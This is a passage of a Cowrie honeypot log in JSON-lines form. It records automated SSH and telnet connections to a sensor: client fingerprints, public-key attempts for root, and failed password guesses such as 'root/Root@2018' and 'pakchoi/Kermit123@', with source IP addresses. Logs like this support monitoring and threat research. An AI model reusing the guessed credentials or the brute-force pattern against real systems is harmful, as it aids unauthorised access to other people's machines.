{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:f1:9e:a9:ca:50:df:ac:a0:cf:de:92:30:3d:d7:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5TtehpuP99hInfetKpyStpBnWUMiuwPRYmf9GhEABUHLm1ugmXxfCm403pm6pTJ3fZUEfyKmSu6zUySxr/uq6fa6j2RwJN2EuzfIgIwKmt/1/DRQrrx5qd/pYwaNsaOdBgvFZOoa3ORuA4NWf2Kf32Hbwz9P3MAk4ByRLIZvOqh9fkYqmPOUhgZr9t/RrEUuUWL0TwTiIqzr4irfJLQ2i2AxeYndHsvSfge0+Yps11yV5UFQ12WRerudnBOyQk+/yzw3vC+Xz+4ogFC7mGqSbV5WCagywuZW2ai42MfpC3oy/EK3KGbT0ONci0Tcx1jRCPW/DIWuhYq0TDVZDk3h86NoNy+V1oBH7nXzb670OPpc86IhzB+5n3asHKN1VySlDxREgLU8diSKJmb1ajqVsSklkhpiujMVRUdGgUT2e98wpacs9uvbj7rSyjgAIaLQPOv7HVeoWSEi9gJJAGwI8NZPvvcAvJzeETsGrsXs7Nyr7q5rmAo8Xa+yfiI4Fq81ZZQ0+Ml9apABcQJQAlBWm3RpBJi7yih/VotX2BjZKfPztyNj2t/plcJJEsVdEti8gGAIsfR2l3QKNYydNN7zYcHAqygwD8BK363FNEm2cuF/x3wd6VODgh042v2nHkBsGHd6wI5+5M7HTCzxfu1L5tudHv4ZY21SC4b0h1d7L1w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:18.467746Z","src_ip":"91.244.197.205","session":"7077232fd966","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f4:a0:00:33:6f:a6:4c:ad:38:a8:e4:20:a6:84:65:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKwig1l9uHTverGBw0r8v2hl9scLNcMz/mwMVmjniEqNSOFAF2dtZIhxrHgQAvS+fhlDaiIESSiUiY/Q8AquAAaPxR5OVr3JuKZFyci+jM08zIMijtDJj4iA1q3N7nGZrBIAj3nXXVgWLjA/+fmH1hs441yx4zo+tygDYl8Af7Ux9FQoESbry/KLrckDTLg3rGg8o33pPYxgdVoM7Zc8CH+1rwhVS+ISwSPF+YvXICJWQM11nMXluM2xK5Nb+25kn6PzDR5U5zhcoFs5zuu23LcveUjjlMx7Z1BqvPzOb6gSgg7at5nVIUcrkSok1PtpxmwspDHkADDJ9RRU8FJyvmPwobQ2afM3AAHPjQRVpxHfj+5vHbTlTJtG0Ark67hbcmu/NjA63MZe+mlAjfJl81OiVlC6bvuXApn5q34NkvOW83uEWNBqdR0z8wU5FvQrBMzkEO5eaLaEh2Gn3KXLa3fyMVhpX22RmF4i7Jx+VVXeJ9d2h87lKNsZvhIcXHYluPNMy+5amQkF6GNy4BA1AZjyKqeMMCUHgxlGWIsJK5wz3hlt6Edd+Y3eWiNBGMjT9Qq8RukEGLR9zcL7vdkoMLMAmCN7GSjmQcJg907CP8Z4dyDud7X+PJn4Xrx8xOfvO4Rema5YBuy/F/e8mJmZ5oHM+ICriBzHuMj1+KV8sz5w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f4:a0:00:33:6f:a6:4c:ad:38:a8:e4:20:a6:84:65:ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:18.578403Z","src_ip":"91.244.197.205","session":"7077232fd966","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f4:a0:00:33:6f:a6:4c:ad:38:a8:e4:20:a6:84:65:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKwig1l9uHTverGBw0r8v2hl9scLNcMz/mwMVmjniEqNSOFAF2dtZIhxrHgQAvS+fhlDaiIESSiUiY/Q8AquAAaPxR5OVr3JuKZFyci+jM08zIMijtDJj4iA1q3N7nGZrBIAj3nXXVgWLjA/+fmH1hs441yx4zo+tygDYl8Af7Ux9FQoESbry/KLrckDTLg3rGg8o33pPYxgdVoM7Zc8CH+1rwhVS+ISwSPF+YvXICJWQM11nMXluM2xK5Nb+25kn6PzDR5U5zhcoFs5zuu23LcveUjjlMx7Z1BqvPzOb6gSgg7at5nVIUcrkSok1PtpxmwspDHkADDJ9RRU8FJyvmPwobQ2afM3AAHPjQRVpxHfj+5vHbTlTJtG0Ark67hbcmu/NjA63MZe+mlAjfJl81OiVlC6bvuXApn5q34NkvOW83uEWNBqdR0z8wU5FvQrBMzkEO5eaLaEh2Gn3KXLa3fyMVhpX22RmF4i7Jx+VVXeJ9d2h87lKNsZvhIcXHYluPNMy+5amQkF6GNy4BA1AZjyKqeMMCUHgxlGWIsJK5wz3hlt6Edd+Y3eWiNBGMjT9Qq8RukEGLR9zcL7vdkoMLMAmCN7GSjmQcJg907CP8Z4dyDud7X+PJn4Xrx8xOfvO4Rema5YBuy/F/e8mJmZ5oHM+ICriBzHuMj1+KV8sz5w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:18.582258Z","src_ip":"91.244.197.205","session":"7077232fd966","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:9c:a3:d5:3d:86:f2:b6:87:d3:e8:ff:63:9c:54:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCh8TWL823Vq+JxsXh5dM9a5vf777BW8p6WgL/EXfZfYVMWDkP1buSUCU/ME8rKLypvxzYCrfD3k7ZfOlXtdAM0qGosfrrD/efupOv9JPnRXKqWt8CXj3zZ0nCrClvTszIDTAV7HFjT28ZHxkwgunnqNqjBjLeH+vWgGBB6x8qhw1TE1FvPUkAavDm1a/bkL7j22Lb0wMMlYfT99VbqVkLbqDLrgU6GhF4ozHq2aXMeGlUBTwfper7oh1qAo3Veyrp1BQg0wIwNEZryNi4kQNqfagxFDE6KkZIVXgyFTNjkXRCAvcNTg1CU70D7Gl4bcuS8yXCdLrdsqgI3ANQCnzbiTzRgk2YXDiaWU0CVyn15RYOcCrdhQnSVAqJq6fdVC71ZB/9kLZBZH2Sg2BIxjJaUQJ+ZC4GesHeIKp9zVa7i94caiB/D2i4BYR3xa13ICboRQQSp/z00ZgzQ19Ep5eHuCMsHOEw+91jkgwhWEo1pF+R2DHP2BaffbH+z1SBJEPY7VVNwkucjBpwpzTr/x1ZOi9ZvamimG4GJT7PJYzGkcWkxT2iHxeyjnpjM9bNxKHGLXBb8EbycJ9CYXh20qK53UvYde/9I1XKtd1MVZCpJ9Az0wzJNWui+n+4hWsqFQcmUZtukRLSVrVdVcIL+A4PF/yIyltRdYn3gHdSAriV7Hw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c5:9c:a3:d5:3d:86:f2:b6:87:d3:e8:ff:63:9c:54:9b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:18.688965Z","src_ip":"91.244.197.205","session":"7077232fd966","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:9c:a3:d5:3d:86:f2:b6:87:d3:e8:ff:63:9c:54:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCh8TWL823Vq+JxsXh5dM9a5vf777BW8p6WgL/EXfZfYVMWDkP1buSUCU/ME8rKLypvxzYCrfD3k7ZfOlXtdAM0qGosfrrD/efupOv9JPnRXKqWt8CXj3zZ0nCrClvTszIDTAV7HFjT28ZHxkwgunnqNqjBjLeH+vWgGBB6x8qhw1TE1FvPUkAavDm1a/bkL7j22Lb0wMMlYfT99VbqVkLbqDLrgU6GhF4ozHq2aXMeGlUBTwfper7oh1qAo3Veyrp1BQg0wIwNEZryNi4kQNqfagxFDE6KkZIVXgyFTNjkXRCAvcNTg1CU70D7Gl4bcuS8yXCdLrdsqgI3ANQCnzbiTzRgk2YXDiaWU0CVyn15RYOcCrdhQnSVAqJq6fdVC71ZB/9kLZBZH2Sg2BIxjJaUQJ+ZC4GesHeIKp9zVa7i94caiB/D2i4BYR3xa13ICboRQQSp/z00ZgzQ19Ep5eHuCMsHOEw+91jkgwhWEo1pF+R2DHP2BaffbH+z1SBJEPY7VVNwkucjBpwpzTr/x1ZOi9ZvamimG4GJT7PJYzGkcWkxT2iHxeyjnpjM9bNxKHGLXBb8EbycJ9CYXh20qK53UvYde/9I1XKtd1MVZCpJ9Az0wzJNWui+n+4hWsqFQcmUZtukRLSVrVdVcIL+A4PF/yIyltRdYn3gHdSAriV7Hw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:18.692818Z","src_ip":"91.244.197.205","session":"7077232fd966","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:18.799078Z","src_ip":"91.244.197.205","session":"7077232fd966","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.63674545288086,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:22.394014Z","src_ip":"167.71.238.254","session":"b7816c4cd617","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":46920,"dst_ip":"159.203.135.109","dst_port":22,"session":"c86863eee520","protocol":"ssh","message":"New connection: 135.235.138.43:46920 (159.203.135.109:22) [session: c86863eee520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:27.339704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:27.344550Z","src_ip":"135.235.138.43","session":"c86863eee520","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:27.533359Z","src_ip":"135.235.138.43","session":"c86863eee520","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.243.29.180","src_port":39742,"dst_ip":"10.17.0.5","dst_port":23,"session":"b245d75edba4","protocol":"telnet","message":"New connection: 89.243.29.180:39742 (10.17.0.5:23) [session: b245d75edba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:27.963912Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@2018","message":"login attempt [root/Root@2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:28.321373Z","src_ip":"135.235.138.43","session":"c86863eee520","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:29.512897Z","src_ip":"135.235.138.43","session":"c86863eee520","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.41.2.225","src_port":56228,"dst_ip":"10.17.0.5","dst_port":23,"session":"dce0efb38922","protocol":"telnet","message":"New connection: 38.41.2.225:56228 (10.17.0.5:23) [session: dce0efb38922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:41.341915Z"}
{"eventid":"cowrie.session.connect","src_ip":"40.78.155.180","src_port":57504,"dst_ip":"10.17.0.5","dst_port":22,"session":"67c10f66518b","protocol":"ssh","message":"New connection: 40.78.155.180:57504 (10.17.0.5:22) [session: 67c10f66518b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:49.190543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:49.195708Z","src_ip":"40.78.155.180","session":"67c10f66518b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:49.236019Z","src_ip":"40.78.155.180","session":"67c10f66518b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test7","message":"login attempt [root/test7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:49.428007Z","src_ip":"40.78.155.180","session":"67c10f66518b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:50.471491Z","src_ip":"40.78.155.180","session":"67c10f66518b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.234.174.18","src_port":40694,"dst_ip":"10.17.0.5","dst_port":22,"session":"67410ed8f51c","protocol":"ssh","message":"New connection: 177.234.174.18:40694 (10.17.0.5:22) [session: 67410ed8f51c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:56.631972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:56.640248Z","src_ip":"177.234.174.18","session":"67410ed8f51c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:56.777798Z","src_ip":"177.234.174.18","session":"67410ed8f51c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"richard","message":"login attempt [root/richard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:57.360396Z","src_ip":"177.234.174.18","session":"67410ed8f51c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.172.177","src_port":38564,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d9a5772aa8e","protocol":"ssh","message":"New connection: 152.32.172.177:38564 (10.17.0.5:22) [session: 0d9a5772aa8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:58.390139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:58.395147Z","src_ip":"152.32.172.177","session":"0d9a5772aa8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:58.501480Z","src_ip":"177.234.174.18","session":"67410ed8f51c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:58.606088Z","src_ip":"152.32.172.177","session":"0d9a5772aa8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:59.479149Z","src_ip":"152.32.172.177","session":"0d9a5772aa8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:23:00.692751Z","src_ip":"152.32.172.177","session":"0d9a5772aa8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00352764129639,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:23:13.640759Z","src_ip":"43.248.59.254","session":"053383e6d781","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.248.59.254","src_port":27963,"dst_ip":"159.203.135.109","dst_port":23,"session":"59dc41bc8a5c","protocol":"telnet","message":"New connection: 43.248.59.254:27963 (159.203.135.109:23) [session: 59dc41bc8a5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:23:15.104754Z"}
{"eventid":"cowrie.session.closed","duration":120.00252175331116,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:23:16.859827Z","src_ip":"43.248.59.254","session":"658637a042e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.248.59.254","src_port":48037,"dst_ip":"159.203.135.109","dst_port":23,"session":"88d1323dde0a","protocol":"telnet","message":"New connection: 43.248.59.254:48037 (159.203.135.109:23) [session: 88d1323dde0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:23:18.225285Z"}
{"eventid":"cowrie.session.closed","duration":120.07058715820312,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:24:28.034408Z","src_ip":"89.243.29.180","session":"b245d75edba4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.243.29.180","src_port":59530,"dst_ip":"10.17.0.5","dst_port":23,"session":"f993c49ab5b4","protocol":"telnet","message":"New connection: 89.243.29.180:59530 (10.17.0.5:23) [session: f993c49ab5b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:24:35.978348Z"}
{"eventid":"cowrie.session.closed","duration":120.00684595108032,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:24:41.348601Z","src_ip":"38.41.2.225","session":"dce0efb38922","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.41.2.225","src_port":39842,"dst_ip":"10.17.0.5","dst_port":23,"session":"98319d7aac77","protocol":"telnet","message":"New connection: 38.41.2.225:39842 (10.17.0.5:23) [session: 98319d7aac77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:24:43.893897Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.234.174.18","src_port":39018,"dst_ip":"10.17.0.5","dst_port":22,"session":"507e257565bc","protocol":"ssh","message":"New connection: 177.234.174.18:39018 (10.17.0.5:22) [session: 507e257565bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:25:03.702022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:25:03.707499Z","src_ip":"177.234.174.18","session":"507e257565bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 